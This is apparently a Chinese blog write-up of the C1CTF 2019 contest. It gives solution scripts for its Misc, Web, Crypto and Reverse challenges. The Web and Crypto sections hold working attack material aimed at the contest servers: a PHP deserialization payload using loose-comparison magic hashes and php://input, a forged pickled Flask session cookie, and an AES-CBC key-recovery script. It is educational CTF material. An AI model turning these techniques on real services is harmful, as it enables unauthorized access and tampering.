C1CTF 2019 WriteUp

我太菜了,求大佬带我,嘤嘤嘤。

Misc

1. BabyBase64

Base64的原理可见博客https://blog.csdn.net/wo541075754/article/details/81734770

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# python2
def mask(t):
b = bin(t)
b = b[2:]
if len(b) != 6:
l = 6 - len(b)
for _ in range(l):
b = "0" + b
return b
base = "C1sec20I9/iS+FUNABDEGHJKLMOPQRTVWXYZabdfghjklmnopqrtuvwxyz345678"
map = {}
for i in range(0, 64):
map.setdefault(base[i], i)
map.setdefault("=", 0)
s = "Lt2ZR0M4AZBtMELuKt2tKwMvPdzzVA=="
eqs = s.count("=")
s = s[:len(s) - eqs]
ans = "0b"
for c in s:
ans += mask(map[c])
ans += "00" if eqs == 1 else "0000" if eqs == 2 else ""
print(hex(eval(ans))[2:-1].decode("hex"))

3. ez_github

Git仓库管理不只有master分支,每一次提交的修改记录Git都会修改,这也是Git的主要功能。这个直接写爬虫爬字符,最后在四次base64就能出flag。
PS: Java爬虫真的快乐。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package cn.uchkks.ezgit;

import org.jsoup.*;
import us.codecraft.webmagic.*;
import us.codecraft.webmagic.processor.PageProcessor;

import java.io.*;
import java.util.*;

public class MyPageProcessor implements PageProcessor {

private Site site = Site.me().setRetryTimes(3).setSleepTime(1000);
private static List<List<String>> resultList = new LinkedList<List<String>>();
@Override
public void process(Page page) {
resultList.add(page.getHtml().links().regex("https://github.com/Dawnnnnnn/cod/commit/[\\w]+").all());
}
@Override
public Site getSite() {
return site;
}
public static String b64decode(String s) {
return new String(Base64.getDecoder().decode(s.getBytes()));
}
public static void main(String[] args) {
Spider.create(new MyPageProcessor()).setDownloader(new HttpClientDownloader())
.addUrl("https://github.com/Dawnnnnnn/cod/commits/master")
.addUrl("https://github.com/Dawnnnnnn/cod/commits/master-1")
.addUrl("https://github.com/Dawnnnnnn/cod/commits/master-2")
.addUrl("https://github.com/Dawnnnnnn/cod/commits/master-3")
.thread(1)
.run();
StringBuilder stringBuilder = new StringBuilder();
for (List<String> result : resultList) {
for (String url : result) {
String[] arr = url.split("/");
String id = arr[arr.length - 1];
try {
Connection.Response res = Jsoup.connect("https://raw.githubusercontent.com/Dawnnnnnn/cod/" + id + "/flag.txt")
.method(Connection.Method.GET)
//.proxy("127.0.0.1", 1080)
.execute();
stringBuilder.append(res.body().split("-")[0]);
} catch (IOException e) {
e.printStackTrace();
}
}
}
System.out.println(stringBuilder.toString());
System.out.println(b64decode(b64decode(b64decode(b64decode(stringBuilder.toString())))));
}
}

4. proof_of_work


看出来是md5碰撞,直接写脚本就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
# python2
import pwn
import hashlib
c = pwn.remote("121.40.239.203", 12010)
c.readline()
s = c.readline()
md = s.split(" ")[-1][:-1]
for i in range(10000000):
if hashlib.md5(str(i)).hexdigest()[:6] == md:
c.sendline(str(i))
break
print(c.readline())

7. study

PNG图片的隐写。Chrome打不开这个图片,但是Windows预览正常,猜测是修改了PNG的高度,TweakPNG改回来就行了。
改完可以看到flag。

8. 签到

真就签到

Web

1. login

监视未发现请求,猜测用户名密码在页面里,找到后填入。

然后可以得到flag

2. loginV2

3. pastebin

4. paradox

代码审计,第一关

松散比较,找两个0e开头的md5的原字符串放上去即可,比如240610708和QNKCDZO。
第二关
welcome_to_c1ctf

php伪协议,在filename中填入php://input,在content中放入字符串。
第三关

php的松散比较,当字符串与数字进行比较时,会先将字符串转换为数字,无数字的字符串会变为0,因此可以绕过。
最终的payload为
GET
O:7:"Paradox":4:{s:4:"flag";i:0;s:8:"filename";s:11:"php://input";s:6:"noncea";s:9:"240610708";s:6:"nonceb";s:7:"QNKCDZO";}

POST
welcome_to_c1ctf

8. shop-step-one

Flask的cookies中含有session和user,拿到后即可修改user中的任意属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# app.py
class User:
money = 0
items = []
# ans.py
import requests
import base64
from Crypto.Cipher import AES
from pickle import dumps, loads
from binascii import hexlify, unhexlify
from sys import modules
from app import User

available_items = {'gold': 5, 'jinkela': 10, 'diamond': 20, 'flag': 99999999}

iv = ""

def encrypt(data, key):
aes = AES.new(key, AES.MODE_CFB, iv)
data = aes.encrypt(data)
return iv + data

def decrypt(data, key):
global iv
iv = data[:16]
data = data[16:]
aes = AES.new(key, AES.MODE_CFB, iv)
data = aes.decrypt(data)
return data

def make_user(user, key):
return hexlify(encrypt(dumps(user), key.encode()))

def load_user(user, key):
return loads(decrypt(unhexlify(user), key.encode()))

session = requests.session()
res = session.get("http://121.40.239.203:50323/init")
cookies = res.cookies
user = cookies["user"]
key = eval(base64.b64decode(cookies["session"].split(".")[0]).decode())["key"]
user : User = load_user(user, key)
user.items.append("flag")
user = make_user(user, key)
cookies["user"] = user.decode()
res = session.get("http://121.40.239.203:50323/get_flag", cookies = cookies)
print(res.content)

Crypto

1. classic

凯撒密码,直接上工具解。

2. AES

AES-CBC字节翻转攻击,详见https://www.jianshu.com/p/476b595e9594

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Cipher import AES
from binascii import unhexlify, hexlify
import remoteCLI
from os import urandom

def aes_encrypt(iv, key, data):
aes = AES.new(key, AES.MODE_CBC, iv)
return aes.encrypt(data)

def aes_decrypt(iv, key, data):
aes = AES.new(key, AES.MODE_CBC, iv)
return aes.decrypt(data)

password = '_I_WANT_MY_FLAG_'.encode()
c = remoteCLI.CLI()
c.connect("121.40.239.203", 15621)
c.recvline(8)
block = "A" * 16
cipher = block + "\x00"*16 + block
c.sendLine(hexlify(cipher.encode()))
plain = c.recvline()
plain = eval("b'" + plain.split("b'")[-1][:-1])
block1 = plain[:16]
block3 = plain[32:48]
key = b""
for i in range(16):
key = key + (block1[i] ^ block3[i]).to_bytes(1, "little")
plain = aes_encrypt(key, key, password)
c.sendLine(hexlify(plain))
print(c.recvline(2))

3. MatrixStranding

线性代数解方程,用z3就可以。
得到tmp之后然后在按照题目给的方式进行一次替换,就能出flag了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from z3 import *

FLAG_LEN = 30
sub = [24, 12, 28, 21, 14, 7, 13, 10, 3, 0, 18, 9, 22, 25, 6, 8, 20, 19, 23, 11, 29, 27, 17, 16, 26, 2, 5, 4, 15, 1]
key = b'\xa4r\xa9\xf6\xad\xc2\x11\x18?\xc8\xd01\x01\xd8\xf3\x8cV[8\xce\x9ew\xbb\x179\n\xbaP\x8f\xec_u\xe4Y4\xd0Q\xf0s\x99\x8f\xd1\\\xde4\x8fBZOE=Z\x8bo\x91\xea\x03\xca\xd1C\xf7-6<-_m\x18\x07L\xc48\xf1\x91l\xa7\x01aG\x91\xc5\x0c\xe8\x87\xbc\xb5\xc6\xc7@\xf3%\xa6\x0c\x98"/M\xa1\x80\xaeT#,\xf0\xdc\xb6\xcb#1\x8f\xf5A\x8ap\x10NE\xe69\x0eO\xcaK\x9d\xa9\x06p\\\xba\xa5X\xdf\x82\xe9}\xad\xe3]P\xd7\x7f\xe4\x9b:&\x00\xaa3\xca>x:\xa31\xd2\xcf\xbd\xd2\xf4\xd9\x89\xe9A\xf3G\x89C\x02\xd7\x98=\xed\xd5(\xe2\xdf6fZ\x12\xcbd\xd4 89"\xd0\xdea\xd9\x8eQ&>&f\xc8\xfaX\xf3\xc4V\x13\x83\x97\x88u\x7f\x8a \xa1\xa9\xa3\x0e-\xcf\xe4\xd2\x9a\x85\xed-\\\xe4q\xd9\xbcV\xb3\xe4y\x8c\x83\xddJ\x04V\xf8\xc5g4i\xf6\xc2%\xa1\xc4=\x8a\x828\x8a\xaey\xfbL\xbf\xcer\x96f\xc7,b\xd4U\x81\xd8=\'[k\xee3\xb4B\x03As\x86W\xe1\xa7R\x01\xc3\xbb\xf3\xb4\x14\xfdP\xd9aq\xcfo\xfd\xf9\xc2r\xe6.\x8f\xf8eT\xa8\xde^\xd5\xe0x\xe8\xbcD\xacJR!\xf4>\xa5\xc3V\xe2\xbe8\xab\xf3\x86\xc3R^\xd1\xa5\xce\x14\t\x86\xd5\x11\xb8[\xdd\x0c\x1f\xbd@\x8b\xbb\xc5\x1a\x02\xee\x00\xd0#\xae\xd8\t\x16\xeaa"\xcc\xb2\xea8\x91(\xaek%\xa0]\xc8\x99\xc9\xb9;0eS\xb29\xe4\xfe\x1f\x1d\x8e\x98\xe9\xf6\xc1\x87\xdc\n>\xb8\xb2\xc0\xe2\xca\t\xa0\x0bd\x84\xbekB\x97\xbb\x9b\xfb\x0em\x14e\'\xdc\xfb\x19\xfb>\x96\x84p\xb5\xf1\x9d\x16\xf7\xaa\xbfm\x18\x9d_\x8e\xba\xbd\xc1\x056\x92\x1b\xe8d\xeb\xd014\xd8\x17\x95\x9a6\xbf\xe2\xc3\x8cl\x9c\xca8\x9c\xa2@\x86\xde\xb3sjN\xe9\xb6\xf4\xcfib\xf6\xef\xf6{\x8f\xd0\x03\x85\\C\xd4\x06\xdc7\xe1=\xcd\x9c\xa7\xd6\xef\xbabq\xfb\xacZb?\xcb_+FG\x89@x\xc01\xb8(\x88\x1b^MAM\xe9\xd0\x89\xe2\xd2\xae\xbf\x1d\xa8!\x0c^\x1ci;\xca\x8f1z\xcb\xa94}\xcc\x1b\xf6X\xef\xfd\xfc\x1d\xb4\x96\xd8\xb3\x95\xb4\xbf\x89\x9f\xc3G\xb2\xdc\xccXM\xa0\xfa|!l5\xe6k\x88\xee(0dw\x05n\xbd>\xabl\xc4\x11\x9d,\x7f\xdc/\xecIG\x95\xee\x85X0B\x99\x1b\xe4\xb9\x16_\x01\xb4\xb1\x15)o|60s\x9a\x80\x91\x8f\x12\x993Q\xbd^i\x80\x01\xde\xa9\xfd>7\xf9\xbf\x10\x82\xd4|$\xb7T1\xf2s\xc7\x1a\xa3\xf43\x91\xb8A\xe6e/\xc2\x88$g?x,^\x03\xe9Ff\xf42K\\\xf1\xaci\x98/\x05f"\xb3\xf2\xba\xc2v\x197\x06\x89\'\x96\xa2\xcdQ\xa9>\xfe\x12\x1aj\xab\xfd\xd4\xf8Zx\x04\x1a%\xed\x9c\xd2\x84\xed\x8dz\xbfA"%;3\xdf\x914>\xf4\xf7jl\xd6\x19E\xb4U\xad\r\xcf\x9fJ\x07\x8c\x87\x14aq \xe3v\x84uQz\xd8\xa1*\xc4\xc2\xea\x1bv.\x07\x88\x1f)\x8cD[\x12 \x92]\x9b\xb6\x1fz\x9f\xb4\xf3XI\xe3S\xe0\xc8\xdd\xb5w\xe4\x10Eo\x9f\xf0x\xba\xfd\x13\xcc(Y#\xcfO}\x1f\xde\xf1\xa9\xfc\xee\xee\xf4\x8aD\xff{\x8a\xe9\x7f,(\xb2/g\x84w\x80p\x93|\x87f\xf4\xc1nC)4\x10q\x1fc<\xa0\xdf0\xfa\xb0\xcf{_\xb0\xe5\xc1#\x1a\x0653\xb9\xccJ\x84o\xdc\x1b\xef\xc5m\x18>b\x03<"\x803 \x13)\x9e\x94)\xce'
enc = [12, 115, 141, 48, 115, 115, 121, 96, 85, 91, 115, 187, 28, 42, 62, 40, 200, 95, 192, 112, 15, 17, 75, 173, 123, 243, 156, 32, 182, 222]
tmp = [BitVec('tmp%d' % i, 8) for i in range(FLAG_LEN)]
matrixA = []
for i in range(FLAG_LEN):
line = [0] * FLAG_LEN
for j in range(FLAG_LEN):
line[j] = key[FLAG_LEN * j + i]
matrixA.append(line)
solver = Solver()
for i in range(FLAG_LEN):
sum = 0
for j in range(FLAG_LEN):
sum = (sum + ((tmp[j] * matrixA[i][j]) % 256)) % 256
solver.add(sum == enc[i])
if solver.check() != sat:
raise RuntimeError()
m = solver.model()
print(solver.model())
flag = ""
for i in range(FLAG_LEN):
tmp[i] = m[tmp[i]].as_long().real
flag = [0] * 30
for i in range(30):
flag[sub[i]] = tmp[i]
for i in range(30):
print(chr(flag[i]), end="")

4. RSA

欧几里得除法可以求出n1,n2的GCD,作为公共因子,记作p,可以求出q1,q2,d1,d2,所以都能求出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# python2
from Crypto.Util.number import inverse, isPrime, GCD
n1 = 11765097365866108944467221067206463780779980110268391493819443451219718091560660309180700246601735229671361868645564516245649407502928848069352545156278660222578544379497469105940730101468595186834660076063646016840687675531091875958082161034626079806535227527564029567123620928137861037306182166286845556302199398031604369084893258864871870767644694738889568791598969434421695136039301294435150544548371273941643917600723425709165333782025111145656982953598604346014961180575302009875197979217304489174093283721922156389840034181036025893694664462891089421965035128367837944061456049481435173068825298797858500820369
n2 = 12234531436509958361276371161256481332359794279664677748577726048643264743971136918597315461863966323614404483302397649026177922843601519154949663608529889374554245303997962575204931930656878417050660224278237635240897068811529609301434664205971687828868106894394932260872607641138168595559040055256155252649692790618084795082657366815523434795597614280221260674597647533192168141259797675613588275315104567017642710611852576367526835606875181733404489113428803804888140961099552216877174726907294852706696495569170863685126412036755571517520020575629874454530043875627718377356252485788446200229508550230459230268793
enc1 = 499331446739848021575488055959844542435059327263628125975337905355387242902837757588646730593373932964932239418218163602018988171343848829971780775811749067259148633677054264293673117838115112032556274460491321464784105849075714617535248954663670763988300576700194765373605619855573875419600620299342354583558574294831395221012758866869326541292815658042721530763515869474508621774583825230425235906834308420199551390661437604589646123161462314591200470888968839541276867493503636243086320355234869050014182663343576295908547428247521489038524685926787469834717128493894052671107947921150046758014852122862063560195
enc2 = 1318141536502632613045128291461111926174588932299377884303729367417850534880395642656862320885171220246769063129491614535443531694706076611948855191239193068286693242728534093746330463305299177322539033474275543804396380101912881062454065948457465680906263960344781093187376446372387916988678832092970303465128258206123774633266457576681663014712994198124315213715497791209940266596908833368579968026791178550261902658959310223990682439571329144943650980277696117943239198625350827688129955312420276272214056037166913291160755202318693778058611747212303140613427703240914323529146581927812387097472836228133843994320
e = 65537
p = GCD(n1, n2)
q1 = n1 // p
q2 = n2 // p
assert isPrime(p) and isPrime(q1) and isPrime(q2)
d1 = inverse(e, (p-1)*(q1-1))
d2 = inverse(e, (p-1)*(q2-1))
ans1 = pow(enc1, d1, n1)
ans2 = pow(enc2, d2, n2)
print(hex(ans1)[2:-1].decode("hex")+hex(ans2)[2:-1].decode("hex"))

5.SHA-4

爆破爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <string.h>
#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
#include <limits.h>
#include <algorithm>
#include <map>
#include <string>
#include <vector>
#include <openssl/sha.h>
#include <openssl/md5.h>
#include <openssl/crypto.h>
#define BFSZ 8
char *reverse(char str[8]) {
std::reverse(str, str + 8);
return str;
}
int main() {
char buf[BFSZ] = "";
unsigned char shamd[SHA_DIGEST_LENGTH] = {};
unsigned char md5md[MD5_DIGEST_LENGTH] = {};
assert(sizeof(buf) == sizeof(unsigned long long));
std::map<std::string, unsigned long long> map;
for (unsigned long long i = 0; i < ULLONG_MAX ; ++i) {
memcpy(buf, &i, sizeof(unsigned long long));
memset(shamd, 0, sizeof(shamd));
SHA1((unsigned char *)buf, BFSZ, shamd);
char ans[7] = "";
sprintf(ans, "%02x%02x%02x", shamd[0], shamd[1], shamd[2]);
std::string str = ans;
auto iter = map.find(str);
if (iter != map.end()) {
unsigned long long j = iter->second;
//printf("(%llu,%llu) have the same SHA1 str %s, ", i, j, str.c_str());
memset(md5md, 0, sizeof(md5md));
MD5((unsigned char *)buf, BFSZ, md5md);
sprintf(ans, "%02x%02x%02x", md5md[0], md5md[1], md5md[2]);
str = ans;
memcpy(buf, &j, sizeof(unsigned long long));
memset(md5md, 0, sizeof(md5md));
MD5((unsigned char *)buf, BFSZ, md5md);
sprintf(ans, "%02x%02x%02x", md5md[0], md5md[1], md5md[2]);
if (str == ans) {
//printf("and they have the same MD5 str %s.\n", ans);
//printf("their hex str are %016llux and %016llux.\n", i, j);
char buf2[BFSZ] = "";
memcpy(buf, &i, sizeof(unsigned long long));
memcpy(buf2, &j, sizeof(unsigned long long));
printf("(%llu,%llu) hex str (big-endian) are %016llx and %016llx.\n", i, j, i, j);
printf("(%llu,%llu) hex str (little-endian) are %016llx and %016llx.\n", i, j, *(unsigned long long*)reverse(buf), *(unsigned long long*)reverse(buf2));
break;
}
else {
//printf("but they don't have the same MD5 String.\n");
}
}
else map[str] = i;
}
return 0;
}

Reverse

1. super_mac

IDA分析,然后按照他给的流程跑一遍就行了。

1
2
3
4
5
6
7
8
9
v6 = "6\x136Gf\xB7\x83\x13f\x03c3S&6\x93&F6\x93f\x13f#&C\x833\x13\x13CF\x83c\x93sSf\xD7\x00"
v4 = 0
s = ""
while v4 < 40:
c = ord(v6[v4])
s += chr(16 * (c & 0xF) | ((c & 0xF0) >> 4))
v4 += 1

print(s)

4. 五音不全

靠听,真的能出flag。

作者

Uchiha Kakashi

发布于

2019-12-02

更新于

2019-12-26

许可协议